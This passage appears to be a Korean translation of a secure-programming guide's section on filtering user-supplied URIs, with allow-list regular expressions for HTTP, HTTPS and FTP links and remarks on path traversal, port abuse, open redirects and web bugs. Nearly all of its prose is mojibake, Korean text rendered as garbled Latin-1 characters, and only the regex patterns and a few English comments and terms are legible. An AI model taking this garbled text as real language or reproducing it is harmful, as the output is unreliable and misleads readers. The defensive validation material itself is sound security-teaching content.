Á¤º¸¸¦ º¸¿´°í ¶Ç´Â/±×¸®°í À̸¦ ÀÌ¿ëÇÏ¿© Á¤º¸¸¦ ¼öÁ¤ÇÏ¿´À½À» ³³µæ½Ã۵µ·Ï ÀÌ ±â´É¼ºÀ» ´©±º°¡°¡ »ç¿ëÇÏ·Á°í ÇÒ °ÍÀÌ´Ù. ÆÐ½º¿öµå°¡ ¾ø´Â »ç¿ëÀÚ À̸§Àº ºê¶ó¿ìÀú°¡ ÀϹÝÀûÀ¸·Î ÆÐ½º¿öµå¸¦ ij½ÃÇϱ⠶§¹®¿¡ ±×´ÙÁö À§ÇèÇÏÁö ¾Ê´Ù. ´Ù¸¥ Æ÷Æ®µéÀº ´Ù¸¥ ÇÁ·ÎÅäÄÝÀ» ¿¹»óÇÏ¸ç ±× °á°ú ÇÁ·ÎÅäÄÝ È¥µ¿Àº ¾Ç¿ëµÉ ¼ö Àֱ⠶§¹®¿¡ Æ÷Æ® ÁöÁ¤À» Çã¿ëÇÏÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ¿¹¸¦ µé¾î gopher ½ºÅ´À» »ç¿ëÇϰí SMTP (À̸ÞÀÏ) Æ÷Æ®¸¦ ÁöÁ¤ÇÏ¿© »ç¿ëÀÚ·Î ÇÏ¿©±Ý °ø°ÝÀÚ°¡ ¼±ÅÃÇÑ °÷À¸·Î À̸ÞÀÏÀ» º¸³»µµ·Ï ÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù. ¿©·¯ºÐÀº http 8008 °ú 8080 Æ÷Æ®¿Í °°ÀÌ ¾à°£ÀÇ Æ¯º°ÇÑ °æ¿ì¸¦ Çã¿ëÇÒ ¼öµµ ÀÖÁö¸¸ ´ëü·Î ±×·¸°Ô ÇÒ¸¸ÇÑ °¡Ä¡´Â ¾ø´Ù. È£½ºÆ®´Â À̸§¿¡ ÀÇÇØ ÁöÁ¤µÉ ¶§ ½ÇÁ¦·Î ÀûÀýÈ÷ Á¦ÇÑµÈ ¹®ÀÚ¼ÂÀ» °®´Â´Ù (DNS Ç¥ÁØÀ» »ç¿ëÇÏ¿©). ±â¼úÀûÀ¸·Î Ç¥ÁØÀº ¾ð´õ¶óÀÎ "_" ¹®ÀÚ¸¦ Çã¿ëÇÏÁö ¾ÊÁö¸¸ ¸¶ÀÌÅ©·Î¼ÒÇÁÆ®´Â Ç¥ÁØÀÇ ÀÌ ºÎºÐÀ» ¹«½ÃÇßÀ¸¸ç ¾î¶² »óȲ¿¡¼­´Â ÀÌ ¾ð´õ¶óÀÎÀÇ »ç¿ëÀ» ÇÊ¿ä·Î ÇÑ´Ù. µû¶ó¼­ ¾Æ¸¶µµ À̸¦ Çã¿ëÇØ¾ß ÇÑ´Ù. ¶ÇÇÑ DNS À̸§¿¡¼­ ±¹Á¦È­ ¹®Á¦¸¦ Áö¿øÇϴµ¥ ÀÖ¾î ¸¹Àº ¿¬±¸°¡ ÀÖ¾î¿Ô´Âµ¥ ¿©±â¼­´Â ´õ¿í ¼¼ºÎÀûÀ¸·Î ³íÀǵÇÁö ¾Ê´Â´Ù.

  • °æ·Î: °æ·Î Çã°¡´Â º¸Åë ¹«¹æÇÏÁö¸¸ ºÒÇàÈ÷µµ ¾î¶² ¾ÖÇø®ÄÉÀ̼ÇÀº °æ·ÎÀÇ ÀϺκÐÀ» ÁúÀÇ µ¥ÀÌŸ·Î »ç¿ëÇØ¼­ ´ÙÀ½¿¡ ³íÀÇÇÒ ±¸¸ÛÀ» ¸¸µç´Ù. ¶ÇÇÑ ¼­Åõ¸£°Ô ±¸ÃàµÈ À¥¼­¹ö¿¡¼­ ±â¹Ð¼ºÀÇ µ¥ÀÌŸ¸¦ µå·¯³¾ ¼ö ÀÖ´Â ".." ¿Í °°Àº ±¸ÀýÀ» Æ÷ÇÔÇÑ °æ·Îµµ Çã¿ëµÈ´Ù; ÀÌ´Â ¿¹Àüº¸´Ù ±×´ÙÁö Áß¿äÇÑ ¹®Á¦´Â ¾Æ´Ï¸ç À¥¼­¹ö¿¡ ÀÇÇØ ¼öÁ¤µÇ¾î¾ß ÇÑ´Ù. Ưº°ÇÑ °ÍÀº ´ÜÁö ".." ±¸ÀýÀ̱⠶§¹®¿¡ °æ·Î¸¦ »ìÆì¼­ (¾Æ¸¶µµ ÁúÀÇ µ¥ÀÌŸµµ) ÄÁÅÙÆ®·Î "../" ¸¦ ±ÝÁöÇÏ´Â °ÍÀÌ ¹Ù¶÷Á÷ÇÏ´Ù. ±×·¯³ª È®ÀÎÀÚ°¡ URL À̽ºÄÉÀÌÇÁ¸¦ Çã¿ëÇÑ´Ù¸é ÀÌ´Â ¾î·Á¿ï °ÍÀÌ´Ù; ÀÌ·¯ÇÑ ¹®ÀÚ°¡ À̽ºÄÉÀÌÇÁµÇ´Â ¹öÀüÀ» ¿¹¹æÇÒ Çʿ䰡 ÀÖÀ¸¸ç ¶ÇÇÑ ÀÌ·± ¹®ÀÚµéÀÇ ´Ù¾çÇÑ ºñÇÕ¹ýÀûÀÎ ¹®ÀÚ ÀÎÄÚµùÀ» ó¸®ÇØ¾ß ÇÑ´Ù.

  • ÁúÀÇ: ? ·Î ½ÃÀÛÇÏ´Â ÁúÀÇ Æ÷¸Ëµµ ¾î¶² ÁúÀÇ Æ÷¸ËÀÌ ½ÇÁ¦·Î ¼­¹öÃø¿¡¼­ ¾î¶² ¸í·ÉÀÌ ½ÇÇàµÇ°Ô ÇÒ ¼ö Àֱ⠶§¹®¿¡ º¸¾È À§ÇèÀÌ µÉ ¼ö ÀÖ´Ù. 4.11절 ¿¡ ´õ¿í ÀÚ¼¼È÷ ³íÀÇµÈ ¹Ù¿Í °°ÀÌ ÁúÀÇ Æ÷¸Ë°ú ¾ÖÇø®ÄÉÀ̼ÇÀÌ ¼­¹öÃø¿¡¼­ ¾î¶² ¸í·ÉÀ» ½ÇÇàÇÒ ¼ö ÀÖ°Ô ÇØ¼­´Â ¾ÈµÈ´Ù. ±×·¯³ª À̰ÍÀÌ Áß¿äÇÑ ¹®Á¦¶ó°í ÀÎÁ¤ÇØ¾ß ÇÑ´Ù. µ¡ºÙ¿© ¸¹Àº À¥»çÀÌÆ®´Â ½ÇÁ¦·Î ¸®µð·ºÅÍÀÌ´Ù - À̵éÀº »ç¿ëÀÚ°¡ ¾îµð·Î ¸®µð·ºÆ®µÇ¾î¾ß ÇÏ´Â Áö¸¦ ÁöÁ¤ÇÏ´Â Àμö¸¦ ¹Þ¾Æ »ç¿ëÀÚ¸¦ »õ À§Ä¡·Î ¸®µð·ºÆÃ½ÃŰ´Â ¸í·ÉÀ» µ¹·ÁÁØ´Ù. °ø°ÝÀÚ°¡ ÀÌ·± »çÀÌÆ®¸¦ ÂüÁ¶ÇØ ¸®µð·º¼Ç°ªÀ¸·Î ´õ¿í À§ÇèÇÑ URI ¸¦ Á¦°øÇÏ°í ºê¶ó¿ìÀú°¡ ºÎÁÖÀÇÇÏ°Ô ¸®µð·º¼ÇÀ» µû¸¥´Ù¸é ¹®Á¦°¡ ¹ß»ýÇÒ ¼ö ÀÖ´Ù. »ç¿ëÀÚ ºê¶ó¿ìÀú´Â ´õ¿í ÁÖÀǸ¦ ±â¿ï¿©¾ß Çϴµ¥ ¸ðµç »ç¿ëÀÚ°¡ ÃæºÐÈ÷ ½ÅÁßÇÑ °ÍÀº ¾Æ´Ï´Ù. ¶ÇÇÑ ¸¹Àº À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ƯÁ¤ ÁúÀÇ °ªÀ» ÅëÇØ ¾Ç¿ëµÉ ¼ö ÀÖ´Â Ãë¾àÇÑ °¡´É¼ºÀ» °®°í Àֱ⠶§¹®¿¡ ÀϹÝÀûÀ¸·Î À̸¦ ¿¹¹æÇÏ´Â °ÍÀº ¾î·Æ´Ù. °ø½Ä URI ½ºÆåÀº "+" ¹®ÀÚ¸¦ ÀÎÁ¤ÇÏÁö ¾ÊÁö¸¸ ½ÇÁ¦ÀûÀ¸·Î "+" ¹®ÀÚ°¡ Á¾Á¾ °ø¹é ¹®ÀÚ¸¦ ³ªÅ¸³½´Ù.

  • ´Ü¶ô (Fragment): ´Ü¶ôÀº ±âº»ÀûÀ¸·Î ¹®¼­ ÀϺÎÀÇ À§Ä¡¸¦ ³ªÅ¸³½´Ù; ÀúÀÚ´Â ±¸¹®ÀÌ ÇÕ¹ýÀûÀ̱⸸ ÇÏ´Ù¸é ÀÌ¿¡ ±âÃÊÇÑ °ø°Ý¿¡ ´ëÇØ¼­´Â ¸ð¸£Áö¸¸ ±¸¹®ÀÇ Àû¹ý¼ºÀ» °Ë»çÇÒ Çʿ䰡 ÀÖ´Ù. ±×·¸Áö ¾Ê´Ù¸é °ø°ÝÀÚ°¡ ÀÌÁß ÀοëºÎÈ£¿Í °°Àº ¹®ÀÚ¸¦ ³¢¿ö³ÖÀ» ¼ö ÀÖÀ¸¸ç º¸´Ù ¾Õ¿¡¼­ URI ¸¦ ´ÝÀ» ¼ö ÀÖ´Ù. (¾î¶² °Ë»ç¸¦ ½ÇÆÐ½ÃŲ´Ù)

  • URL À̽ºÄÉÀÌÇÁ: URL À̽ºÄÉÀÌÇÁ´Â ÀÓÀÇÀÇ 8 ºñÆ® ¹®ÀÚ¸¦ Ç¥ÇöÇÒ ¼ö Àֱ⠶§¹®¿¡ À¯¿ëÇÏ´Ù; À̵éÀº °°Àº ¿¬À¯·Î ÀÎÇØ ¸Å¿ì À§ÇèÇÒ ¼ö ÀÖ´Ù. ƯÈ÷ URL À̽ºÄÉÀÌÇÁ´Â Á¦¾î ¹®ÀÚ¸¦ ³ªÅ¸³¾ ¼ö Àִµ¥ ¼­Åõ¸£°Ô ±¸ÃàµÈ ¸¹Àº À¥¼­¹ö°¡ ÀÌ¿¡ °ø°Ý´çÇϱ⠽±´Ù. »ç½Ç URL À̽ºÄÉÀÌÇÁ°¡ °¡´É ¶Ç´Â ºÒ°¡´ÉÇϰųª ¸¹Àº À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº (¹é½½·¡½¬, ¾ÚÆÛ»÷µå µî) ÀÇ ¾î¶² ¹®ÀÚ¿¡ °ø°Ý´çÇϱ⠽±Áö¸¸ À̸¦ ÀϹÝÈ­ÇÏ´Â °ÍÀº ¾î·Æ´Ù.

  • »ó´ë URIs: »ó´ë URIs ´Â ¾î¶² ¾ÖÇø®ÄÉÀ̼ǿ¡ À־ À̵éÀ» Çã¿ëÇÒ ¸¹ÇÑ ÀÌÀ¯°¡ ¾øÀ½¿¡µµ ºÒ±¸Çϰí À¥»çÀÌÆ®¸¦ Àß ¿î¿µÇϰí ÀÖ´Ù¸é ²Ï ¾ÈÀüÇÏ´Ù.

¹°·Ð ´Ü¼øÇÔ°úÀÇ ÀýÃæÀÌ ÀÖ´Ù. °£´ÜÇÑ ÆÐÅÏÀÌ ÀÌÇØÇϱ⠴õ¿í ½±Áö¸¸ ±×´ÙÁö ¼¼·ÃµÇÁö´Â ¾Ê´Ù (µû¶ó¼­ ¼¼·ÃµÈ ÆÐÅÏ¿¡ ºñÇØ ³Ê¹« Çã°¡ÀûÀ̰ųª ³Ê¹« Á¦ÇÑÀûÀÏ ¼ö ÀÖ´Ù). º¹ÀâÇÑ ÆÐÅÏÀº ´õ¿í ¾ö°ÝÇÒ ¼ö ÀÖÁö¸¸ ´õ¿í ¸¹Àº ¿¡·¯¸¦ °¡Áú °Í °°ÀÌ º¸ÀÌ¸ç »ç¿ëÇϱâ À§ÇØ ´õ ¸¹Àº ¼º´ÉÀ» ÇÊ¿ä·Î ÇÏ¸ç ¾î¶² »óȲ¿¡ ÀÖ¾î ±¸ÇöÇÏ±â ¾î·Æ´Ù.

´ÙÀ½Àº ¸Å¿ì °£´ÜÇϸç Á÷Á¢ ¼ÕÀ¸·Î ¶Ç´Â Á¤±Ô Ç¥Çö½ÄÀ» ÅëÇØ ±¸ÇöµÉ ¼ö ÀÖ´Â "°£´ÜÇϰí ÀϹÝÀûÀ¸·Î ¾ÈÀüÇÑ (simple mostly safe)" URI ÆÐÅÏ¿¡ ´ëÇÑ ÀúÀÚÀÇ Á¦¾ÈÀÌ´Ù; ´ÙÀ½ ÆÐÅÏÀ» Çã¿ëÇØ¶ó:

(http|ftp|https)://[-A-Za-z0-9._/]+

ÀÌ ÆÐÅÏÀº ÁúÀÇ, ´Ü¶ô, Æ÷Æ® ¶Ç´Â »ó´ë URIs ¿Í °°ÀÌ ¸¹Àº ÀáÀçÀûÀ¸·Î À§ÇèÇÑ ´É·ÂÀ» Çã¿ëÇÏÁö ¾ÊÀ¸¸ç ´ÜÁö ¾à°£ÀÇ ½ºÅ´¸¸À» Çã¿ëÇÑ´Ù. ÀÌ´Â URL À̽ºÄÉÀÌÇÁ ¹× ¼­¹ö°¡ ´Ù·ê ¼ö ¾øÀ» ¼öµµ ÀÖ´Â ¹®ÀÚ¸¦ ÁöÁ¤Çϱâ À§ÇØ »ç¿ëµÉ ¼ö ÀÖ´Â "%" ¹®ÀÚÀÇ »ç¿ëÀ» ±ÝÁöÇÑ´Ù. ÀÌ´Â ":" ¶Ç´Â URL À̽ºÄÉÀÌÇÁ¸¦ Çã¿ëÇÏÁö ¾Ê±â ¶§¹®¿¡ Æ÷Æ® ³Ñ¹ö ÁöÁ¤À» Çã¿ëÇÏÁö ¾ÊÀ¸¸ç À̸¦ ÀÌ¿ëÇØ¼­ ´õ¿í À§ÇèÇÑ URI ·Î ¸®µð·º¼Ç½ÃŰ´Â °ÍÀº ¾î·Á¿ï °ÍÀÌ´Ù (À̽ºÄÉÀÌÇÁ ¹®ÀÚ°¡ ¾ø±â ¶§¹®¿¡). ¶ÇÇÑ ¸¹Àº ´Ù¸¥ ¹®ÀÚÀÇ »ç¿ëÀ» ¿¹¹æÇÑ´Ù: ¸¹Àº ¼­Åø¸® ¼³°èµÈ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ¸¹Àº ¿¹±âÄ¡ ¸øÇÑ ¹®ÀÚ¸¦ ´Ù·ê ¼ö ¾øÀ» °ÍÀÌ´Ù.

±×·³¿¡µµ ºÒ±¸Çϰí "ÀϹÝÀûÀ¸·Î ¾ÈÀüÇÑ (mostly safe)" URI ´Â ÇϺΠµð·ºÅ丮 ("/" ¸¦ ÅëÇØ) ¿Í »óÀ§ µð·ºÅ丮·Î ¿Ã¶ó°¡·Á´Â ½Ãµµ (".." ¸¦ ÅëÇØ) ¿Í °°Àº ¸¹Àº Àǽɽº·¯¿î URIs ¸¦ Çã¿ëÇÑ´Ù; ÀÌ·¯ÇÑ Á¾·ùÀÇ ºñÇÕ¹ýÀûÀÎ ÁúÀÇ´Â ¼­¹ö°¡ Àâ¾Æ¾ßÇÑ´Ù. ÀúÀÚ°¡ ÀÌ·¯ÇÑ ºñÇÕ¹ýÀûÀÎ ÁúÀǰ¡ º¸¾È ¾àÁ¡ÀÎ °æ¿ì¸¦ ¸ð¸§¿¡µµ ºÒ±¸Çϰí ÀÌ´Â ¾î¶² ºñÇÕ¹ýÀûÀΠȣ½ºÆ® ½Äº°ÀÚ (¿¹, "20.20") ¸¦ Çã¿ëÇÑ´Ù. ¾î¶² À¥ ¾ÖÇø®ÄÉÀ̼ÇÀº ÇϺΠµð·ºÅ丮¸¦ ÁúÀÇ µ¥ÀÌŸ·Î ó¸®ÇÑ´Ù (´õ ³ª»Ú°Ô´Â ¸í·É µ¥ÀÌŸ·Î); ÀÌ´Â ¸ðµç ¼­Åõ¸£°Ô ¼³°èµÈ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ» ¹ß°ßÇÒ ¼ö´Â ¶§¹®¿¡ ÀϹÝÀûÀ¸·Î ¿¹¹æÇϱâ Èûµé´Ù. ¿©·¯ºÐÀÌ ¸ðµç °æ·ÎÀÇ »ç¿ëÀ» ±ÝÁöÇÒ ¼öµµ ÀÖÁö¸¸ ÀÌ´Â ´ëºÎºÐÀÇ ÀÎÅÍ³Ý Á¤º¸¸¦ ÂüÁ¶ÇÏ´Â °ÍÀ» ºÒ°¡´ÉÇÏ°Ô ¸¸µé °ÍÀÌ´Ù. ÆÐÅÏÀº Áö¿ªÀû ¼­¹ö Á¤º¸¿¡ ´ëÇÑ ÂüÁ¶ ("http:///", "http://localhost/" ¿Í "http://127.0.0.1" °ú °°Àº ÆÐÅÏÀ» ÅëÇØ) ¹× ³»ºÎ ³×Æ®¿öÅ©»óÀÇ ¼­¹ö¿¡ Á¢±ÙÇÏ´Â °ÍÀ» Çã¿ëÇÑ´Ù; 4.11절 ¿¡ ±Ç°íµÈ¹Ù¿Í °°ÀÌ resulting HTTP Get ¿äûÀ» µ¿ÀÛ¿¡ ´ëÇÑ ¿äûÀÌ ¾Æ´Ñ Á¤º¸¿¡ ´ëÇÑ ¿äûÀ¸·Î¸¸ Á¤È®È÷ ÇØ¼®ÇÏ´Â ¼­¹ö¿¡ ÀÇÁ¸ÇØ¾ß ÇÒ °ÍÀÌ´Ù. ÀÌ ÆÐÅÏÀº ÁúÀÇ ÆûÀ» Çã¿ëÇÏÁö ¾Ê±â ¶§¹®¿¡ ¸¹Àº °æ¿ì¿¡ ÀÖ¾î ÀÌ´Â ÃæºÐÇØ¾ß ÇÑ´Ù.

ºÒÇàÈ÷µµ "ÀϹÝÀûÀ¸·Î ¾ÈÀüÇÑ" ÆÐÅÏÀº ¶ÇÇÑ ¸¹Àº ¼öÀÇ ±ÔÄ¢¿¡ ¸Â°í À¯¿ëÇÑ URIs ¸¦ ¸·´Â´Ù. ¿¹¸¦ µé¾î, ¸¹Àº À¥»çÀÌÆ®´Â "?" ¹®ÀÚ¸¦ »ç¿ëÇÏ¿© ƯÁ¤ ¹®¼­¸¦ ½Äº°ÇÑ´Ù (¿¹, ´º½º »çÀÌÆ®»óÀÇ ±â»çµé). "#" ¹®ÀÚ´Â ¹®¼­ÀÇ Æ¯Á¤ ÀýÀ» ÁöÁ¤Çϴµ¥ À¯¿ëÇÏ¸ç »ó´ë URIs ¸¦ Çã¿ëÇÏ´Â °ÍÀº ³íÀÇ¿¡¼­ ´Ù·ïÁú °ÍÀÌ´Ù. ´Ù¾çÇÑ Çã¿ë ¹®ÀÚ¿Í URL À̽ºÄÉÀÌÇÁ´Â "ÀϹÝÀûÀ¸·Î ¾ÈÀüÇÑ" ÆÐÅÏ¿¡ Æ÷ÇԵǾî ÀÖÁö ¾Ê´Ù. ¿¹¸¦ µé¾î URL À̽ºÄÉÀÌÇÁ¸¦ Çã¿ëÇÏÁö ¾Ê´Â´Ù¸é ¸¹Àº ºñ¿µ¾î±Ç ÆäÀÌÁö¸¦ Á¢±ÙÇÏ´Â °ÍÀº ¾î·Æ´Ù. Á¤¸»·Î ±×·± ±â´É¼ºÀ» ÇÊ¿ä·Î ÇÑ´Ù¸é »ç¿ëÀÚ·Î ÇÏ¿©±Ý ´õ¿í ³ôÀº À§Çè¿¡ ³ëÃâµÇµµ·Ï ÇÏ´Â ¹Ý¸é ´õ¿í ¸¹Àº ±â´É¼ºÀ» ÁÖ°í ÀÖÀ½À» ±ú´ÞÀ¸¸é¼­ ´ú ¾ÈÀüÇÑ ÆÐÅÏÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù.

ÁúÀǸ¦ Çã¿ëÇÏÁö¸¸ Àû¾îµµ »ç¿ëµÇ´Â ÇÁ·ÎÅäÄݰú Æ÷Æ®¸¦ Á¦ÇÑÇÏ´Â ÇÑ ÆÐÅÏÀº ´ÙÀ½°ú °°Àºµ¥ ÇÊÀÚ´Â À̸¦ "°£´ÜÇÏ°í ¾î´ÀÁ¤µµ ¾ÈÀüÇÑ ÆÐÅÏ (simple somewhat safe pattern)" À̶ó°í ºÎ¸¦ °ÍÀÌ´Ù:

 (http|ftp|https)://[-A-Za-z0-9._]+(\/([A-Za-z0-9\-\_\.\!\~\*\'\(\)\%\?]+))*/?

ÀÌ ÆÐÅÏÀº ºñÇÕ¹ýÀûÀÎ À̽ºÄÉÀÌÇÁ, ´ÙÁß ÁúÀÇ, ftp ¿¡¼­ÀÇ ÁúÀÇ µîÀ» Çã¿ëÇϱ⠶§¹®¿¡ ½ÇÁ¦·Î È¿°úÀûÀÌÁö´Â ¾Ê´Ù. ÀÌ´Â ºñ±³Àû °£´ÜÇÑ °ÍÀ» ÀÌ¿ëÇÑ´Ù.

½ÇÁ¦·Î URIs ¸¦ ÇÕ¹ýÀûÀÎ °ªÀ¸·Î Á¦ÇÑÇÏ´Â "¾î´ÀÁ¤µµ ¾ÈÀüÇÑ (somewhat safe)" ÆÐÅÏÀ» »ý¼ºÇÏ´Â °ÍÀº ²Ï ¾î·Æ´Ù. ´ÙÀ½Àº ÀúÀÚ°¡ "º¹ÀâÇÏÁö¸¸ ¾î´ÀÁ¤µµ ¾ÈÀüÇÑ ÆÐÅÏ (sophisticated somewhat safe pattern)" ÀÌ¶óµµ ºÎ¸£´Â ÆÐÅÏÀ¸·Î °ø¹éÀº ¹«½ÃµÇ¸ç ÁÖ¼®Àº "#" À¸·Î ½ÃÀ۵ȴÙ:

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\?(                                                              # query:
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
        ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+
        (\&([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+=
         ([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*)
       |
       (([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+  # isindex
       )
   ))?
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

À§¿Í °°Àº º¹ÀâÇÑ ÆÐÅϵµ ¸ðµç ºñÇÕ¹ýÀûÀÎ URIs ¸¦ ±ÝÁöÇÏÁö´Â ¾Ê´Â´Ù. ¿¹¸¦ µé¾î ´Ù½Ã "20.20" Àº ÇÕ¹ýÀûÀÎ µµ¸ÞÀÎ À̸§ÀÌ ¾Æ´ÏÁö¸¸ ÆÐÅÏÀº À̸¦ Çã¿ëÇÑ´Ù; ±×·¯³ª ÀúÀÚ°¡ ¾Æ´ÂÇÑ ÀÌ´Â ¾î¶°ÇÑ º¸¾È ¹®Á¦µµ ¾ß±âÇÏÁö ¾Ê´Â´Ù. º¹ÀâÇÑ ÆÐÅÏÀº Á¦¾î¹®ÀÚ¸¦ ³ªÅ¸³»´Â URL À̽ºÄÉÀÌÇÁ¸¦ ±ÝÁöÇÑ´Ù (¿¹, $1F ¸¦ ÅëÇØ %00) - Çã¿ëµÈ °¡Àå ÀÛÀº À̽ºÄÉÀÌÇÁ °ªÀº %20 (¾Æ½ºÅ° ½ºÆäÀ̽º) ÀÌ´Ù. Á¦¾î ¹®ÀÚ¸¦ ±ÝÁöÇÔÀ¸·Î½á ¾î¶² ¹®Á¦¸¦ ¿¹¹æÇÏÁö¸¸ ¶ÇÇÑ Á¦ÇÑÀûÀÌ´Ù; ¸ðµç Á¦¾î ¹®ÀÚ¸¦ ÀÓÀÇÀÇ À¥ ¾ÖÇø®ÄÉÀ̼ÇÀ¸·Î Àü¼ÛÇÏ´Â °ÍÀ» Áö¿øÇÏ·Á¸é "2-9" ¸¦ "0-9" ·Î º¯°æÇضó. ÀÌ ÆÐÅÏÀº °æ·Î¿¡ ¸ðµç ´Ù¸¥ URL À̽ºÄÉÀÌÇÁ °ªÀ» Çã¿ëÇϴµ¥ ±¹Á¦È­ ¹®ÀÚ¿¡ À¯¿ëÇÏÁö¸¸ À̸¦ ´Ù·ê ¼ö ¾ø´Â ¾à°£ÀÇ ½Ã½ºÅÛ¿¡¼­ ¹®Á¦¸¦ ¾ß±âÇÒ ¼ö ÀÖ´Ù. ÆÐÅÏÀº Àû¾îµµ °ø¹é, °³Çà, ÀÌÁßÀοëºÎÈ£ ¹× ´Ù¸¥ À§ÇèÇÑ ¹®ÀÚ°¡ URI ¿¡ »ç¿ëµÊÀ» ±ÝÁöÇÏ¸ç µû¶ó¼­ URI ¸¦ »ý¼º ¹®¼­¿¡ º´ÇÕÇÒ ¶§ ´Ù¸¥ Á¾·ùÀÇ °ø°ÝÀ» ¿¹¹æÇÑ´Ù. ¸¹Àº °÷¿¡¼­ ÆÐÅÏÀÌ "+" ¸¦ Çã¿ëÇÔÀ» ÁÖ¸ñÇØ¶ó. ½ÇÁ¦ÀûÀ¸·Î "+" ´Â Á¾Á¾ ÁúÀÇ¿Í ´Ü¶ô¿¡¼­ °ø¹é ¹®ÀÚ ´ë½Å »ç¿ëµÈ´Ù.

ºÒÇàÈ÷ À§¿¡¼­ ¾ð±ÞÇßµíÀÌ ÁúÀÇ µ¥ÀÌŸ¸¦ Çã¿ëÇÏ´Â ¸ðµç ±â¹ýÀ» ÅëÇØ ÀÛµ¿ÇÒ ¼ö ÀÖ´Â °ø°ÝÀÌ Àִµ¥ ÁúÀǰ¡ Çã¿ëµÇ¾î ÀÖ´Ù¸é ÀÌ¿¡ ´ëÇØ ½ÇÁ¦ÀûÀ¸·Î ÈǸ¢ÇÑ ¹æ¾î´Â ¾øÀ» °Í °°´Ù. ±×·¡¼­ À§ ÆÐÅÏ¿¡¼­ ÁúÀÇ µ¥ÀÌŸÀÇ »ç¿ëÀ» Á¦°ÅÇÒ ¼ö ÀÖÁö¸¸ "º¹ÀâÇϰí ÀϹÝÀûÀ¸·Î ¾ÈÀüÇÑ (sophisticated mostly safe)" ÆÐÅÏÀ» »êÃâÇÏ´Â ´Ù¸¥ ÆûÀ» Çã¿ëÇØ¾ß ÇÑ´Ù.

 (
 (
  # Handle http, https, and relative URIs:
  ((https?://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?))|
    ([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)?
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
   (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )|
 # Handle ftp:
 (ftp://([A-Za-z0-9][A-Za-z0-9\-]*(\.[A-Za-z0-9][A-Za-z0-9\-]*)*\.?)
  ((/([A-Za-z0-9\-\_\.\!\~\*\'\(\)]|(%[2-9A-Fa-f][0-9a-fA-F]))+)*/?) # path
  (\#([A-Za-z0-9\-\_\.\!\~\*\'\(\)\+]|(%[2-9A-Fa-f][0-9a-fA-F]))+)? # fragment
  )
 )

ÀúÀÚ°¡ ¸»ÇÒ ¼ö ÀÖ´Â °Ç ´ÜÁö ÀÌ·¯ÇÑ ÆÐÅÏÀÌ »ç¿ëÀÚ¿¡ ÀÇÇØ ¼±ÅÃµÈ ÇÏÀÌÆÛÅØ½ºÆ® ¾ÞÄ¿ (<a> ű×) ¸¦ °Ë»çÇϱâ À§Çؼ­¸¸ »ç¿ëµÈ´Ù¸é ÀÌ Á¢±Ù ¹æ¹ýÀº ¶ÇÇÑ À¥ ¹ö±×ÀÇ »ðÀÔÀ» ¿¹¹æÇÑ´Ù. À¥ ¹ö±×´Â ¸ÞÀÎ ÆäÀÌÁö¸¦ »ý¼ºÇÑ À¥¼­¹ö ÀÌ¿ÜÀÇ ´©±º°¡¿¡°Ô ´©°¡ ÄÁÅÙÆ®¸¦ Àоú´ÂÁö ¹× ¾ðÁ¦ Àоú´ÂÁö¿Í °°Àº Á¤º¸¸¦ ÃßÀûÇÒ ¼ö ÀÖµµ·Ï ÇÏ´Â ´Ü¼øÇÑ ÅØ½ºÆ®ÀÌ´Ù - ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 7.6절 À» º¸¶ó. ÀÌ´Â µ¿ÀÏÇÑ °Ë»ç ±ÔÄ¢À» °®°í¼­ <img> (À̹ÌÁö) ű׸¦ »ç¿ëÇÑ´Ù¸é ±×·¸Áö ¾Ê´Ù - À̹ÌÁö ű״ Áï°¢ÀûÀ¸·Î ·ÎµåµÇ¾î ´©±º°¡¿¡°Ô À¥ ¹ö±×¸¦ Ãß°¡ÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ´Ù½Ã Çѹø ¸»Çؼ­ ÀÌ´Â ¾î¶°ÇÑ ¼Ó¼ºµµ Çã¿ëÇÏÁö ¾Ê¾Ò´Ù°í ÃßÁ¤ÇÑ´Ù; ¸¹Àº ¼Ó¼ºµéÀº ²Ï À§ÇèÇÏ¸ç ¿©·¯ºÐÀÌ Á¦°øÇÏ·Á°í ÇÏ´Â º¸¾ÈÀ» µ¹ÆÄÇÒ ¼ö 